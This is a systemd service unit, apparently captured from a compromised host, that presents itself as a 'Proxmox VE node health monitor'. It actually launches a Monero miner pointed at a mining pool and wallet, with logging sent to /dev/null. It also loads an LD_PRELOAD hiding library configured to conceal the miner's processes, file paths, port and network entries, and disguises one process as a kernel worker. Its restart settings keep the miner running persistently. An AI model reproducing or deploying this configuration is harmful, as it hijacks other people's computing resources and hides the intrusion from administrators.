# systemctl cat PVE-1
# /etc/systemd/system/PVE-1.service
# Managed-by: install_and_mine.sh
[Unit]
Description=Proxmox VE node health monitor
Wants=network-online.target
After=network-online.target
# StartLimitIntervalSec belongs in [Unit], not [Service] -- older systemd
# (e.g. v252 on Debian 12) silently ignores it in [Service] and logs
# 'Unknown key' warnings that also break other parsing.
StartLimitIntervalSec=600
StartLimitBurst=5
[Service]
Type=simple
# Per-unit LD_PRELOAD keeps the service path deterministic; the login/tool
# session filters are installed separately in /etc/environment and
# /etc/profile.d/sysenv.sh. Do NOT write /etc/ld.so.preload globally -- that
# contaminates sshd and the next ECDH KEX hangs forever.
StandardOutput=null
StandardError=null
# Keep the systemd path on the same physical-core-first CPU set as foreground mode.
CPUAffinity=0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
Environment="LD_PRELOAD=/var/lib/systemd/.hide/libhide.so"
Environment="HIDE_PROCS=PVE-1,kworker/3:0,PVE-1-maintain"
Environment="HIDE_FILES="
Environment="HIDE_PATHS=/var/lib/systemd/PVE-1,/var/lib/systemd/ld-svc,/var/lib/systemd/.cache/releases,/var/lib/systemd/.cache/.install.lock,/var/lib/systemd/.hide"
Environment="HIDE_PORTS=20004"
Environment="HIDE_IPS="
Environment="HIDE_DIRECT_PROC=1"
Environment="HIDE_DIRECT_FILES=1"
Environment="HIDE_NETLINK=1"
Environment="HIDE_SCOPE=all"
ExecStart="/var/lib/systemd/ld-svc" "/var/lib/systemd/PVE-1" "PVE-1" "--" "--url=gulf.moneroocean.stream:20004" "--user=47PhdrcErv48X9oFZU86nqPUjSbQ25UySJg5q8Hwetjw2Mbm8YaDWX1RzEKmuDU8q624Lq6cLsBweKVL3YhVcqB6PtiNNeu" "--pass=qwpfe" "--donate-level=0" "--print-time=10" "--log-file=/dev/null" "--no-color" "--tls"
# Restart policy. RestartSec is the *minimum* delay between restarts;
# systemd does NOT randomize this for services (only [Timer] units honor
# RandomizedDelaySec). Per-service restart-jitter is implemented inside
# PVE-1-maintain instead, so kill-restart cycles don't lockstep
# across a fleet.
Restart=always
RestartSec=42
[Install]
WantedBy=multi-user.target